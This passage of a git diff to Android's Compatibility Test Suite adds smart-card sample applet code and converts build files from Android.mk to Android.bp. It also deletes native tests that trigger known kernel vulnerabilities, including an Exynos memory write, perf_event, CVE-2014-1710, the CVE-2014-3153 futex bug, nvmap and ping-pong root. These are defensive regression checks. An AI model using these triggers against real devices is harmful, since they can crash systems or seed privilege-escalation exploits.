+        Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short) respBuf.length);
+        apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      } else if (p2 == SW_62xx_VALIDATE_DATA_P2){
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short) (SW_62xx_VALIDATE_DATA_RESP.length));
+        Util.arrayCopy(SW_62xx_VALIDATE_DATA_RESP, (short) 0, buf, (short) 0,
+          (short) SW_62xx_VALIDATE_DATA_RESP.length);
+        buf[ISO7816.OFFSET_P1] = p1;
+        apdu.sendBytesLong(buf, (short)0, (short) SW_62xx_VALIDATE_DATA_RESP.length);
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      } else {
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      }
+      break;
+    case SEGMENTED_RESP_INS_1:
+    case SEGMENTED_RESP_INS_2:
+      le = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+      sendLen = fillBytes(le);
+      le = apdu.setOutgoing();
+      sendLen = le > sendLen ? sendLen : le;
+      if (sendLen > 0xFF) sendLen = 0xFF;
+      apdu.setOutgoingLength(sendLen);
+      apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+      respBuffOffset += sendLen;
+      sendLen = (short) (respBuf.length - respBuffOffset);
+      if (sendLen > 0) {
+        if (sendLen > 256) sendLen = 0x00;
+        ISOException.throwIt((short) (ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+      }
+      break;
+    case SEGMENTED_RESP_INS_3:
+    case SEGMENTED_RESP_INS_4:
+      le = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+      sendLen = fillBytes(le);
+      le = apdu.setOutgoing();
+      sendLen = le > sendLen ? sendLen : le;
+      apdu.setOutgoingLength(sendLen);
+      apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+      respBuffOffset += sendLen;
+      sendLen = (short) (respBuf.length - respBuffOffset);
+      if (sendLen > 0) {
+        if (sendLen > 256) sendLen = 0x00;
+        ISOException.throwIt((short) (ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+      }
+      break;
+
+    case SEGMENTED_RESP_INS_5:
+      le = apdu.setOutgoing();
+      if (le != 0xFF) {
+        short buffer_len = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+        sendLen = fillBytes(buffer_len);
+        sendLen = le > sendLen ? sendLen : le;
+        apdu.setOutgoingLength(sendLen);
+        apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+        respBuffOffset += sendLen;
+        sendLen = (short) (respBuf.length - respBuffOffset);
+        if (sendLen > 0) {
+          if (sendLen > 256) sendLen = 0x00;
+          ISOException.throwIt((short)(ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+        }
+      } else {
+        ISOException.throwIt((short)(ISO7816.SW_CORRECT_LENGTH_00 | 0xFF));
+      }
+      break;
+    case CHECK_SELECT_P2_APDU:
+      byte[] p2_00 = new byte[] {0x00};
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short) p2_00.length);
+      Util.arrayCopy(p2_00, (short) 0, buf, (short) 0, (short) p2_00.length);
+      apdu.sendBytesLong(buf, (short)0, (short)p2_00.length);
+      break;
+    default:
+      // Case is not known.
+      ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
+    }
+  }
+
+  /**
+   * Fills APDU buffer with a pattern.
+   *
+   * @param le - length of outgoing data.
+   */
+  public short fillBerTLVBytes(short le) {
+    //support length from 0x00 - 0x7FFF
+    short total_len;
+    short le_len = 1;
+    if (le < (short)0x80) {
+      le_len = 1;
+    } else if (le < (short)0x100) {
+      le_len = 2;
+    } else {
+      le_len = 3;
+    }
+    total_len = (short)(le + 2 + le_len);
+    short i = 0;
+    respBuf = new byte[total_len];
+    respBuf[(short)i] = BER_TLV_TYPE;
+    i = (short)(i + 1);
+    respBuf[(short)i] = 0x00; //second byte of Type
+    i = (short)(i + 1);
+    if (le < (short)0x80) {
+      respBuf[(short)i] = (byte)le;
+      i = (short)(i + 1);
+    } else if (le < (short)0x100) {
+      respBuf[(short)i] = (byte)0x81;
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)le;
+      i = (short)(i + 1);
+    } else {
+      respBuf[(short)i] = (byte)0x82;
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)(le >> 8);
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)(le & 0xFF);
+      i = (short)(i + 1);
+    }
+    while (i < total_len) {
+      respBuf[i] = (byte)((i - 2 - le_len) & 0xFF);
+      i = (short)(i + 1);
+    }
+    respBuf[(short)(respBuf.length - 1)] = (byte)0xFF;
+    respBuffOffset = (short) 0;
+    return total_len;
+  }
+
+  public short fillBytes(short total_len) {
+    short i = 0;
+    short len = total_len;
+    respBuf = new byte[total_len];
+    while (i < total_len) {
+      if (len >= LENGTH_256) {
+        Util.arrayCopyNonAtomic(resp_bytes256, (short)0, respBuf,
+          (short)i, LENGTH_256);
+        i = (short)(i + LENGTH_256);
+        len = (short)(len - LENGTH_256);
+      } else {
+        respBuf[i] = (byte)(i & 0xFF);
+        i = (short)(i + 1);
+      }
+    }
+    respBuffOffset = (short) 0;
+    //set the last byte to 0xFF for CTS validation
+    respBuf[(short)(respBuf.length - 1)] = (byte)0xFF;
+    return total_len;
+  }
+}
diff --git a/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap b/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap
new file mode 100644
index 0000000..01f7ea0
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap
Binary files differ
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
new file mode 100644
index 0000000..b41f33d
--- /dev/null
+++ b/tests/tests/security/Android.bp
@@ -0,0 +1,61 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSecurityTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.rules",
+        "android-common",
+        "ctstestserver",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "compatibility-common-util-devicesidelib",
+        "guava",
+        "platform-test-annotations",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctssecurity_jni",
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+        "libnativehelper",
+        "libcutils",
+        "libcrypto",
+        "libselinux",
+        "libc++",
+        "libpcre2",
+        "libpackagelistparser",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IIsolatedService.aidl",
+    ],
+    //sdk_version: "current",
+    platform_apis: true,
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "sts",
+    ],
+}
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
deleted file mode 100644
index 3d4498d..0000000
--- a/tests/tests/security/Android.mk
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    android-common \
-    ctstestserver \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    compatibility-common-util-devicesidelib \
-    guava \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-
-
-LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
-                      libnativehelper \
-                      libcutils \
-                      libcrypto \
-                      libselinux \
-                      libc++ \
-                      libpcre2 \
-                      libpackagelistparser
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)\
-                   src/android/security/cts/activity/ISecureRandomService.aidl\
-                   aidl/android/security/cts/IIsolatedService.aidl
-
-LOCAL_PACKAGE_NAME := CtsSecurityTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7103969..130e5a4 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -25,7 +25,6 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
@@ -50,6 +49,10 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+        <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+        <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
@@ -57,6 +60,10 @@
                      android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.security.cts"
+                     android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CrashParserRunListener" />
     </instrumentation>
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 3a879d1..0160b8b 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS security test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSecurityTestCases.apk" />
@@ -23,7 +25,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
-        <option name="runtime-hint" value="1h8m15s" />
+        <option name="runtime-hint" value="1h40m18s" />
         <!-- test-timeout unit is ms, value = 15 min -->
         <option name="test-timeout" value="900000" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
new file mode 100644
index 0000000..27f6289
--- /dev/null
+++ b/tests/tests/security/jni/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library {
+    name: "libctssecurity_jni",
+    srcs: [
+        "CtsSecurityJniOnLoad.cpp",
+        "android_security_cts_LinuxRngTest.cpp",
+        "android_security_cts_NativeCodeTest.cpp",
+        "android_security_cts_MMapExecutableTest.cpp",
+        "android_security_cts_EncryptionTest.cpp",
+    ],
+    shared_libs: [
+        "libcrypto",
+        "liblog",
+        "libnativehelper_compat_libc++",
+    ],
+    static_libs: [
+        "cpufeatures",
+        "libcutils",
+    ],
+}
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
deleted file mode 100644
index 363ed47..0000000
--- a/tests/tests/security/jni/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctssecurity_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsSecurityJniOnLoad.cpp \
-		android_security_cts_CharDeviceTest.cpp \
-		android_security_cts_KernelSettingsTest.cpp \
-		android_security_cts_LinuxRngTest.cpp \
-		android_security_cts_NativeCodeTest.cpp \
-		android_security_cts_SELinuxTest.cpp \
-		android_security_cts_MMapExecutableTest.cpp \
-		android_security_cts_EncryptionTest.cpp \
-
-LOCAL_SHARED_LIBRARIES := \
-		libnativehelper \
-		liblog \
-		libcutils \
-		libcrypto \
-		libselinux \
-		libc++ \
-		libpcre2 \
-		libpackagelistparser
-
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-LOCAL_CFLAGS += -Wno-sign-compare -Wno-unused-label -Wno-unused-variable
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 2014591..7490d1a 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -17,26 +17,19 @@
 #include <jni.h>
 #include <stdio.h>
 
-extern int register_android_security_cts_KernelSettingsTest(JNIEnv*);
-extern int register_android_security_cts_CharDeviceTest(JNIEnv*);
 extern int register_android_security_cts_LinuxRngTest(JNIEnv*);
 extern int register_android_security_cts_NativeCodeTest(JNIEnv*);
-extern int register_android_security_cts_SELinuxTest(JNIEnv*);
 extern int register_android_security_cts_SeccompTest(JNIEnv*);
 extern int register_android_security_cts_MMapExecutableTest(JNIEnv* env);
 extern int register_android_security_cts_EncryptionTest(JNIEnv* env);
 
-jint JNI_OnLoad(JavaVM *vm, void *reserved) {
+jint JNI_OnLoad(JavaVM *vm, void *) {
     JNIEnv *env = NULL;
 
     if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_CharDeviceTest(env)) {
-        return JNI_ERR;
-    }
-
     if (register_android_security_cts_LinuxRngTest(env)) {
         return JNI_ERR;
     }
@@ -45,14 +38,6 @@
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_SELinuxTest(env)) {
-        return JNI_ERR;
-    }
-
-    if (register_android_security_cts_KernelSettingsTest(env)) {
-        return JNI_ERR;
-    }
-
     if (register_android_security_cts_MMapExecutableTest(env)) {
         return JNI_ERR;
     }
diff --git a/tests/tests/security/jni/android_security_cts_CharDeviceTest.cpp b/tests/tests/security/jni/android_security_cts_CharDeviceTest.cpp
deleted file mode 100644
index 32f204f..0000000
--- a/tests/tests/security/jni/android_security_cts_CharDeviceTest.cpp
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <cutils/log.h>
-
-#define PHYS_OFFSET 0x40000000
-
-/*
- * Native methods used by
- * cts/tests/tests/permission/src/android/security/cts/CharDeviceTest.java
- */
-
-jboolean android_security_cts_CharDeviceTest_doExynosWriteTest(JNIEnv* env, jobject thiz)
-{
-    int page_size = sysconf(_SC_PAGE_SIZE);
-    int length = page_size * page_size;
-    int fd = open("/dev/exynos-mem", O_RDWR);
-    if (fd < 0) {
-        return true;
-    }
-
-    char *addr = (char *)
-        mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
-
-    if (addr == MAP_FAILED) {
-        goto done2;
-    }
-
-    /*
-     * In the presence of the vulnerability, the code below will
-     * cause the device to crash, because we're scribbling all
-     * over kernel memory
-     */
-
-    int i;
-    for (i = 0; i < length; i++) {
-        addr[i] = 'A';
-    }
-    usleep(100000);
-
-done1:
-    munmap(addr, length);
-done2:
-    close(fd);
-    return true;
-}
-
-jboolean android_security_cts_CharDeviceTest_doExynosReadTest(JNIEnv* env, jobject thiz)
-{
-    const char *MAGIC_STRING = "KHAAAAN!!! EXYNOS!!!";
-
-    jboolean ret = true;
-    int page_size = sysconf(_SC_PAGE_SIZE);
-    int length = page_size * page_size;
-    int fd = open("/dev/exynos-mem", O_RDONLY);
-    if (fd < 0) {
-        return true;
-    }
-
-    char *addr = (char *)
-        mmap(NULL, length, PROT_READ, MAP_SHARED, fd, PHYS_OFFSET);
-
-    if (addr == MAP_FAILED) {
-        goto done2;
-    }
-
-    // Throw the magic string into the kernel ring buffer. Once
-    // there, we shouldn't be able to access it.
-    ALOGE("%s", MAGIC_STRING);
-
-    // Now see if we can scan kernel memory, looking for our magic
-    // string.  If we find it, return false.
-    int i;
-    for (i = 0; i < (length - strlen(MAGIC_STRING)); i++) {
-        if (strncmp(&addr[i], MAGIC_STRING, strlen(MAGIC_STRING)) == 0) {
-            ret = false;
-            break;
-        }
-    }
-
-done1:
-    munmap(addr, length);
-done2:
-    close(fd);
-    return ret;
-}
-
-static JNINativeMethod gMethods[] = {
-    {  "doExynosWriteTest", "()Z",
-            (void *) android_security_cts_CharDeviceTest_doExynosWriteTest },
-    {  "doExynosReadTest", "()Z",
-            (void *) android_security_cts_CharDeviceTest_doExynosReadTest },
-};
-
-int register_android_security_cts_CharDeviceTest(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/security/cts/CharDeviceTest");
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/security/jni/android_security_cts_KernelSettingsTest.cpp b/tests/tests/security/jni/android_security_cts_KernelSettingsTest.cpp
deleted file mode 100644
index bb5e042..0000000
--- a/tests/tests/security/jni/android_security_cts_KernelSettingsTest.cpp
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/xattr.h>
-#include <errno.h>
-
-static jboolean android_security_cts_KernelSettingsTest_supportsXattr(JNIEnv* /* env */, jobject /* thiz */)
-{
-    int result = getxattr("/system/bin/cat", "security.capability", NULL, 0);
-    return ((result != -1) || (errno == ENODATA));
-}
-
-static JNINativeMethod gMethods[] = {
-    {  "supportsXattr", "()Z",
-            (void *) android_security_cts_KernelSettingsTest_supportsXattr },
-};
-
-int register_android_security_cts_KernelSettingsTest(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/security/cts/KernelSettingsTest");
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
index 8514f8b..f928f2f 100644
--- a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
@@ -43,7 +43,7 @@
 }
 
 jint android_security_cts_LinuxRngTest_getCharDeviceMajor(JNIEnv* env,
-        jobject thiz, jstring name)
+        jobject, jstring name)
 {
     const char* nameStr = env->GetStringUTFChars(name, NULL);
 
@@ -69,7 +69,7 @@
 }
 
 jint android_security_cts_LinuxRngTest_getCharDeviceMinor(JNIEnv* env,
-        jobject thiz, jstring name)
+        jobject, jstring name)
 {
     const char* nameStr = env->GetStringUTFChars(name, NULL);
 
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index e903ab7..ce9169d 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -36,306 +36,17 @@
 #include <arpa/inet.h>
 #include <linux/ipc.h>
 #include <pthread.h>
-
-/*
- * Returns true iff this device is vulnerable to CVE-2013-2094.
- * A patch for CVE-2013-2094 can be found at
- * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f
- */
-static jboolean android_security_cts_NativeCodeTest_doPerfEventTest(JNIEnv* env, jobject thiz)
-{
-    uint64_t attr[10] = { 0x4800000001, (uint32_t) -1, 0, 0, 0, 0x300 };
-
-    int fd = syscall(__NR_perf_event_open, attr, 0, -1, -1, 0);
-    jboolean result = (fd != -1);
-
-    if (fd != -1) {
-        close(fd);
-    }
-
-    return result;
-}
-
-/*
- * Detects if the following patch is present.
- * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c95eb3184ea1a3a2551df57190c81da695e2144b
- *
- * Returns true if the patch is applied, or crashes the system otherwise.
- *
- * While you're at it, you want to apply the following patch too.
- * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b88a2595b6d8aedbd275c07dfa784657b4f757eb
- * This test doesn't cover the above patch. TODO write a new test.
- *
- * Credit: https://github.com/deater/perf_event_tests/blob/master/exploits/arm_perf_exploit.c
- */
-static jboolean android_security_cts_NativeCodeTest_doPerfEventTest2(JNIEnv* env, jobject thiz)
-{
-    struct perf_event_attr pe[2];
-    int fd[2];
-    memset(pe, 0, sizeof(pe));
-    pe[0].type = 2;
-    pe[0].config = 72;
-    pe[0].size = 80;
-    pe[1].type = PERF_TYPE_RAW;
-    pe[1].size = 80;
-    fd[0]=syscall(__NR_perf_event_open, &pe[0], 0, 0, -1, 0);
-    fd[1]=syscall(__NR_perf_event_open, &pe[1], 0, 0, fd[0], 0);
-    close(fd[0]);
-    close(fd[1]);
-    return true;
-}
-
-static void* mmap_syscall(void* addr, size_t len, int prot, int flags, int fd, off_t offset)
-{
-#ifdef __LP64__
-    return mmap(addr, len, prot, flags, fd, offset);
-#else
-    return (void*) syscall(__NR_mmap2, addr, len, prot, flags, fd, offset);
-#endif
-}
-
-#define KBASE_REG_COOKIE_TB         2
-#define KBASE_REG_COOKIE_MTP        3
-
-/*
- * Returns true if the device is immune to CVE-2014-1710,
- * false if the device is vulnerable.
- */
-static jboolean android_security_cts_NativeCodeTest_doCVE20141710Test(JNIEnv*, jobject)
-{
-    jboolean result = false;
-    int fd = open("/dev/mali0", O_RDWR);
-    if (fd < 0) {
-        return true; /* not vulnerable */
-    }
-
-    void* a = mmap_syscall(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, KBASE_REG_COOKIE_MTP);
-    void* b = mmap_syscall(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, KBASE_REG_COOKIE_TB);
-
-    if (a == MAP_FAILED) {
-        result = true; /* assume not vulnerable */
-        goto done;
-    }
-
-    if (b == MAP_FAILED) {
-        result = true; /* assume not vulnerable */
-        goto done;
-    }
-
-    /* mprotect should return an error if not vulnerable */
-    result = (mprotect(b, 0x1000, PROT_READ | PROT_WRITE) == -1);
-
- done:
-    if (a != MAP_FAILED) {
-        munmap(a, 0x1000);
-    }
-    if (b != MAP_FAILED) {
-        munmap(b, 0x1000);
-    }
-    close(fd);
-    return result;
-}
-
-static inline int futex_syscall(volatile int* uaddr, int op, int val, const struct timespec* ts,
-                                volatile int* uaddr2, int val3) {
-    return syscall(__NR_futex, uaddr, op, val, ts, uaddr2, val3);
-}
-
-/*
- * Test for vulnerability to CVE-2014-3153, a bug in the futex() syscall that can
- * lead to privilege escalation and was used by the towelroot exploit. Returns true
- * if device is patched, false if still vulnerable.
- */
-static jboolean android_security_cts_NativeCodeTest_doFutexTest(JNIEnv*, jobject)
-{
-    jboolean result = false;
-
-    int futex = 1;
-    int ret;
-
-    /* The patch will reject FUTEX_CMP_REQUEUE_PI calls where addr == addr2, so
-     * that's what we're checking for - they're both &futex. Patched systems will
-     * return -1 and set errno to 22 (EINVAL), vulnerable systems will return 0.
-     */
-    ret = futex_syscall(&futex, FUTEX_CMP_REQUEUE_PI, 1, NULL, &futex, 0);
-    return (ret == -1 && errno == EINVAL);
-}
-
-static jboolean android_security_cts_NativeCodeTest_doNvmapIocFromIdTest(JNIEnv*, jobject)
-{
-    /*
-     * IOCTL code specified from the original notification.
-     * Also available in:
-     *     .../kernel/tegra/drivers/video/tegra/nvmap/nvmap_ioctl.h
-     * #define NVMAP_IOC_MAGIC 'N'
-     * #define NVMAP_IOC_FROM_ID _IOWR(NVMAP_IOC_MAGIC, 2, struct nvmap_create_handle)
-     */
-    const int NVMAP_IOC_FROM_ID = 0xc0084e02;
-    int       nvmap = open("/dev/nvmap", O_RDWR | O_CLOEXEC, 0);
-    bool      vulnerable = false;
-
-    if (nvmap >= 0) {
-        if (0 == ioctl(nvmap, NVMAP_IOC_FROM_ID)) {
-            /* IOCTL succeeded */
-            vulnerable = true;
-        }
-        else if (errno != ENOTTY) {
-            /* IOCTL failed, but provided the wrong error number */
-            vulnerable = true;
-        }
-
-        close(nvmap);
-    }
-
-    return !vulnerable;
-}
-
-static jboolean android_security_cts_NativeCodeTest_doPingPongRootTest(JNIEnv*, jobject)
-{
-    int icmp_sock;
-    struct sockaddr sock_addr;
-
-    memset(&sock_addr, 0, sizeof(sock_addr));
-    icmp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
-    sock_addr.sa_family = AF_INET;
-
-    /* first connect */
-    connect(icmp_sock, &sock_addr, sizeof(sock_addr));
-
-    /* disconnect */
-    sock_addr.sa_family = AF_UNSPEC;
-    connect(icmp_sock, &sock_addr, sizeof(sock_addr));
-
-    /* second disconnect -> crash */
-    sock_addr.sa_family = AF_UNSPEC;
-    connect(icmp_sock, &sock_addr, sizeof(sock_addr));
-
-    return true;
-}
-
-#define BUFS 256
-#define IOV_LEN 16
-#define OVERFLOW_BUF 7
-#define FIXED_ADDR 0x45678000
-#define TIMEOUT 60 /* seconds */
-
-static struct iovec *iovs = NULL;
-static int fd[2];
-static void *overflow_addr;
-
-void* func_map(void*)
-{
-    munmap(overflow_addr, PAGE_SIZE);
-    overflow_addr = mmap(overflow_addr, PAGE_SIZE, PROT_READ | PROT_WRITE,
-            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-    return NULL;
-}
-
-void* func_readv(void*)
-{
-    readv(fd[0], iovs, BUFS);
-    return NULL;
-}
-
-static jboolean android_security_cts_NativeCodeTest_doPipeReadVTest(JNIEnv*, jobject)
-{
-    bool ret = false;
-    unsigned int i;
-    void *bufs[BUFS];
-    struct timespec ts;
-    time_t time;
-    pthread_t thr_map, thr_readv;
-
-    if (pipe(fd) < 0) {
-        ALOGE("pipe failed:%s", strerror(errno));
-        goto __out;
-    }
-    fcntl(fd[0], F_SETFL, O_NONBLOCK);
-    fcntl(fd[1], F_SETFL, O_NONBLOCK);
-
-    iovs = (struct iovec*)malloc(BUFS * sizeof(struct iovec));
-    if (iovs == NULL) {
-        ALOGE("malloc failed:%s", strerror(errno));
-        goto __close_pipe;
-    }
-
-    /*
